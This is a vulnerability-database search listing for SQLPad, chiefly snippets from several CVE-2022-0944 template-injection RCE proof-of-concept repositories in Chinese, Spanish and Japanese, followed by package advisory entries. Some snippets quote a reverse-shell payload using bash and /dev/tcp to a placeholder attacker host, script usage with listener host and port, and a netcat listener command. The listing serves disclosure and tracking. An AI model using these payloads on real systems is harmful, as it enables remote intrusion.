128 matches found
CVE-2022-0944
CVE-2022-0944 SQLPad - 模板注入 这是一个盲漏洞，意味着输出会直接返回在响应中。 利用 使用以下命令运行脚本： python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 输出 root@kitploit: Login was successfull Exploited! 测试环境 使用 docker： 启动 docker 容器 - sudo docker run -p 13000:3000 -d...
CVE-2022-0944
CVE-2022-0944 PoC SQLPad 中 RCE 的 PoC。 此示例会生成一个反向 Shell，但可以通过修改 payload 中 'exec' 调用内的命令，使 payload 运行任何可用命令。 payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i & /dev/tcp/reversehost/reverseport 0&1"' " 环境要求 Python 3 使用方法 1. 启动监听器 root@kitploit:...
CVE-2022-0944
CVE-2022-0944 针对 SQLPad RCE（CVE-2022-0944） 的概念验证漏洞利用程序 用法 root@kitploit: usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password login...
sqlpad-rce-exploit-CVE-2022-0944
Exploit de RCE en SQLPad Este repositorio contiene un script de explotación para CVE-2022-0944 en SQLPad, una vulnerabilidad que permite la ejecución remota de código RCE a través del endpoint /api/test-connection. Resumen El script proporcionado exploit.py demuestra cómo explotar la vulnerabilid...
CVE-2022-0944_RCE_POC
CVE-2022-0944 针对 SQLPad RCE CVE-2022-0944 的概念验证利用，可在攻击者 PC 上实现带反弹 Shell 的远程代码执行（RCE）。 用法 root@kitploit: usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell 示例： root@kitploit: 触发利用 ./script.py...
SQLPad-RCE-Exploit-CVE-2022-0944
Cómo funciona: Este código PHP está diseñado para explotar una vulnerabilidad de Ejecución Remota de Código RCE en SQLPad , relacionada con CVE-2022-0944. Funciona inyectando código malicioso en la aplicación SQLPad, forzándola a ejecutar un comando del sistema que abre una reverse shell – una...
SQLPad-6.10.0-Exploit-CVE-2022-0944
SQLPad 6.10.0 エクスプロイト CVE-2022-0944 このBashスクリプトは、SQLPad 6.10.0のRCE脆弱性を悪用し、攻撃者がSQLPadのMySQLデータベース接続設定におけるhostおよびdatabaseフィールドを悪用してリモートコード実行（RCE）を達成することを可能にします。このエクスプロイトは、Node.jsのchildprocessモジュールに対する無害化されていない処理を利用して任意のコマンドを実行し、最終的に攻撃者のマシンにリバースシェルを開きます。 前提条件 1. Netcatリスナー : nc -lvnp...
GHSA-RGWJ-5XJ2-C3M3 vulnerabilities
Vulnerabilities for packages: sqlpad...
GHSA-6GMQ-8VP8-GCM6 vulnerabilities
Vulnerabilities for packages: sqlpad...
CVE-2026-83610 vulnerabilities
Vulnerabilities for packages: sqlpad...
GHSA-3F6P-5WW8-9RCR vulnerabilities
Vulnerabilities for packages: sqlpad, azurite...
GHSA-3F6P-5WW8-9RCR vulnerabilities
Vulnerabilities for packages: sqlpad...
GO-2024-2918 vulnerabilities
Vulnerabilities for packages: k8sgpt, rekor, spire-server, trivy, wal-g, chezmoi, hugo, velero, grafana-mimir, zarf, zot, secrets-store-csi-driver-provider-azure, policy-controller, falcoctl, argo-workflows, fluent-bit-plugin-loki, flux-image-reflector-controller, terragrunt, bank-vaults,...
CLEANSTART-2026-OX91928 Security fixes in sqlpad 7.5.7-r5
Package sqlpad version 7.5.7-r5 fixes 1 vulnerabilities: ghsa-r292-9mhp-454m...
CLEANSTART-2026-AG43501 Security fixes in sqlpad 7.5.7-r2
Package sqlpad version 7.5.7-r2 fixes 26 vulnerabilities: ghsa-2v35-w6hq-6mfw, ghsa-f6ww-3ggp-fr8h, ghsa-wh4c-j3r5-mjhp, ghsa-x6wf-f3px-wcqx, ghsa-j759-j44w-7fr8...
CLEANSTART-2026-VJ19248 Security fixes in sqlpad 7.5.7-r3
Package sqlpad version 7.5.7-r3 fixes 26 vulnerabilities: ghsa-2v35-w6hq-6mfw, ghsa-f6ww-3ggp-fr8h, ghsa-wh4c-j3r5-mjhp, ghsa-x6wf-f3px-wcqx, ghsa-j759-j44w-7fr8...
CLEANSTART-2026-PY70964 Security fixes in sqlpad 7.5.7-r4
Package sqlpad version 7.5.7-r4 fixes 2 vulnerabilities: ghsa-v422-hmwv-36x6, CVE-2026-12590...
GHSA-5P4M-2WFM-XMQJ vulnerabilities
Vulnerabilities for packages: unleash, pulumi, opensearch-dashboards-fips, kubeflow-katib, langfuse-fips, unleash-fips, vitess, eslint, gitlab-rails-ce-fips, opensearch-dashboards, redisinsight, authentik-fips, ts-patch, argo-workflows, mongod, prism, foxx-cli, langfuse, gitlab-rails-ce, awx, saf...